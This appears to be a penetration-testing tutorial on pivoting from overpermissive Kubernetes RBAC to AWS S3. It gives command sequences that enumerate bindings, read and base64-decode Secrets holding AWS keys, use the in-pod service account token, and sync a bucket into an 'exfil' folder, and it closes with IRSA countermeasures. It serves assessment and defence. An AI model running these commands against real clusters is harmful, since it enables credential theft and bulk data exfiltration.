Kubernetes RBAC to S3 Pivot: Pod Service Account Lateral Movement to Cloud Storage

Why This Matters

In 2020, a penetration test of a financial services company's EKS (Elastic Kubernetes Service) cluster revealed a ClusterRole with secrets:get across all namespaces, bound to the default service account in the kube-system namespace. A monitoring pod in that namespace had its service account token automatically mounted. By exploiting a path traversal vulnerability in the monitoring application, the assessor obtained a shell, read the mounted token, used it against the Kubernetes API to retrieve a Secret named aws-creds in the production namespace — which contained AWS AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY values — and pivoted to an S3 bucket holding all customer transaction records. The total time from initial exploit to S3 download was 22 minutes. The root cause was a single overpermissive ClusterRoleBinding created by a developer who wanted a "quick fix" for a monitoring integration three years earlier.

Core Concept

Kubernetes RBAC (Role-Based Access Control) governs API server access through four primitives. A Role defines permissions (verbs on resources) within a single namespace. A ClusterRole defines permissions cluster-wide or across all namespaces. A RoleBinding grants a Role or ClusterRole to a subject (user, group, or ServiceAccount) within a namespace. A ClusterRoleBinding grants a ClusterRole to a subject cluster-wide.

The most dangerous RBAC misconfigurations are: secrets: get/list/watch at cluster scope (reads all secrets including service account tokens); pods/exec (opens an interactive shell in any running pod without requiring additional credentials); pods: create with the ability to specify volumes (allows mounting any Secret or hostPath including the host filesystem); and clusterrole-admin bindings on service accounts used by application pods.

kubectl auth can-i --list enumerates all permissions the current identity holds. The --as flag impersonates another identity: kubectl auth can-i --list --as=system:serviceaccount:default:default shows what the default service account in the default namespace can do. This is the standard permission enumeration primitive.

IRSA (IAM Roles for Service Accounts) is the correct approach for granting AWS API access to pods. Instead of storing AWS credentials as Kubernetes Secrets, IRSA creates a trust relationship between a Kubernetes Service Account and an IAM role using OIDC federation. The pod receives a projected volume token that can be exchanged for temporary AWS credentials without any long-lived key material existing in the cluster.

kube-hunter is an automated Kubernetes penetration testing tool that probes for RBAC misconfigurations, exposed API endpoints, privileged pods, and cluster metadata service access from within and outside the cluster.

Technical Deep-Dive

# ── Phase 1: RBAC Permission Enumeration ─────────────────────
# Enumerate current identity permissions
kubectl auth can-i --list
# Look for: secrets get/list/watch, pods/exec, pods create, nodes get

# Enumerate permissions for a specific service account
kubectl auth can-i --list --as=system:serviceaccount:default:default
kubectl auth can-i --list --as=system:serviceaccount:kube-system:monitoring-sa

# List all ClusterRoleBindings to find overpermissive bindings
kubectl get clusterrolebindings -o json | jq '.items[] |
  select(.roleRef.name == "cluster-admin" or .roleRef.name == "edit") |
  {name: .metadata.name, subject: .subjects}'

# rakkess — visual RBAC matrix
rakkess --sa kube-system:monitoring-sa

# rbac-lookup — human-readable role summary
rbac-lookup default --output wide

# ── Phase 2: Secret Enumeration ───────────────────────────────
# List secrets across all namespaces (requires secrets:list cluster-wide)
kubectl get secrets --all-namespaces -o json | jq '.items[] |
  {name: .metadata.name, namespace: .metadata.namespace, type: .type}'

# Get specific secret content
kubectl get secret aws-creds -n production -o json

# Decode base64-encoded values
kubectl get secret aws-creds -n production -o jsonpath='{.data.aws_secret_access_key}' | base64 -d

# ── Phase 3: In-Pod API Access (if shell obtained) ────────────
# Service account token is auto-mounted at this path
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"
CACERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"

# List secrets via API server from within pod
curl -s --cacert $CACERT 
  -H "Authorization: Bearer $TOKEN" 
  "${APISERVER}/api/v1/namespaces/production/secrets/aws-creds" | python3 -m json.tool

# ── Phase 4: kube-hunter automated scan ───────────────────────
# From outside the cluster
docker run -it --rm aquasec/kube-hunter --remote --host CLUSTER_API_SERVER
# From inside the cluster
docker run -it --rm aquasec/kube-hunter --pod

# ── Phase 5: AWS credential pivot to S3 ───────────────────────
export AWS_ACCESS_KEY_ID=$(kubectl get secret aws-creds -n production 
  -o jsonpath='{.data.aws_access_key_id}' | base64 -d)
export AWS_SECRET_ACCESS_KEY=$(kubectl get secret aws-creds -n production 
  -o jsonpath='{.data.aws_secret_access_key}' | base64 -d)

aws sts get-caller-identity
aws s3 ls
aws s3 sync s3://company-transactions ./exfil/

Security Assessment Methodology

1. Enumerate RBAC permissions for the current identity using kubectl auth can-i --list. If a shell is obtained inside a pod, use the mounted service account token to authenticate against the API server.
2. Identify service accounts with excessive permissions — use rbac-lookup or manually enumerate all ClusterRoleBindings with kubectl get clusterrolebindings -o json. Flag any binding that grants secrets:get, pods/exec, or cluster-admin to a service account used by an application pod.
3. List secrets across all namespaces — kubectl get secrets --all-namespaces. Identify secrets with names suggesting AWS credentials (aws-creds, cloud-credentials, s3-access).
4. Retrieve and decode secret content — kubectl get secret <name> -n <namespace> -o json and base64-decode each data field. Look for AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, kubeconfig files, and TLS private keys.
5. Run kube-hunter for automated cluster-wide finding discovery. The --pod mode runs checks from inside the cluster, uncovering misconfigurations only visible from within the pod network.
6. Pivot to AWS using extracted credentials — validate with aws sts get-caller-identity, enumerate accessible S3 buckets, and assess the full blast radius of the extracted keys.
7. Document the RBAC chain — map the full path from the initial access (overpermissive ClusterRoleBinding) through secret retrieval to AWS access, establishing the complete impact chain.

Defensive Countermeasure — Replace all AWS credentials stored as Kubernetes Secrets with IRSA (IAM Roles for Service Accounts). Annotate the Kubernetes Service Account: kubectl annotate serviceaccount -n production etl-sa eks.amazonaws.com/role-arn=arn:aws:iam::123456789012:role/etl-s3-role. Create a trust policy on the IAM role that conditions trust on the specific Service Account OIDC subject. The IAM role policy should restrict access to the specific S3 bucket and prefix needed. Set automountServiceAccountToken: false on all pods that do not need API server access, and apply a Kubernetes NetworkPolicy that blocks pod-to-API-server traffic except for authorised workloads.

Common Assessment Errors

• Only checking the default service account — application pods frequently use custom service accounts with names like monitoring-sa, ci-runner, or etl-processor that have broader permissions than the default account.
• Missing namespace-scoped RoleBindings — kubectl get rolebindings --all-namespaces reveals bindings that grant permissions within specific namespaces. A binding granting secrets:get in the production namespace to a dev service account is as dangerous as a ClusterRoleBinding.
• Not testing pod creation as an escalation path — if the current identity can create pods, it can mount any Secret as a volume or run a privileged pod with hostPath access to the node filesystem, bypassing RBAC entirely.
• Ignoring projected service account tokens — Kubernetes 1.21+ generates short-lived projected tokens instead of long-lived legacy tokens. Both are mounted at the same path but the projected token expires. Test whether the token is still valid before attempting API calls.
• Forgetting etcd as a backup access path — if etcd is accessible without TLS authentication (a finding in older clusters), all secrets can be extracted directly from etcd without going through the API server RBAC layer.
• Not verifying IRSA configuration completeness — when IRSA is present, check that the trust policy condition uses StringEquals on the OIDC subject (not StringLike with wildcards), and that the role does not have sts:AssumeRole on itself or other privileged roles.

NICE Framework Alignment

Further Reading

• "Kubernetes RBAC Good Practices" — Kubernetes Official Documentation
• "Attacking and Defending Kubernetes Clusters" — CNCF Security White Paper (2022)
• "IRSA: IAM Roles for Service Accounts Deep Dive" — AWS EKS Documentation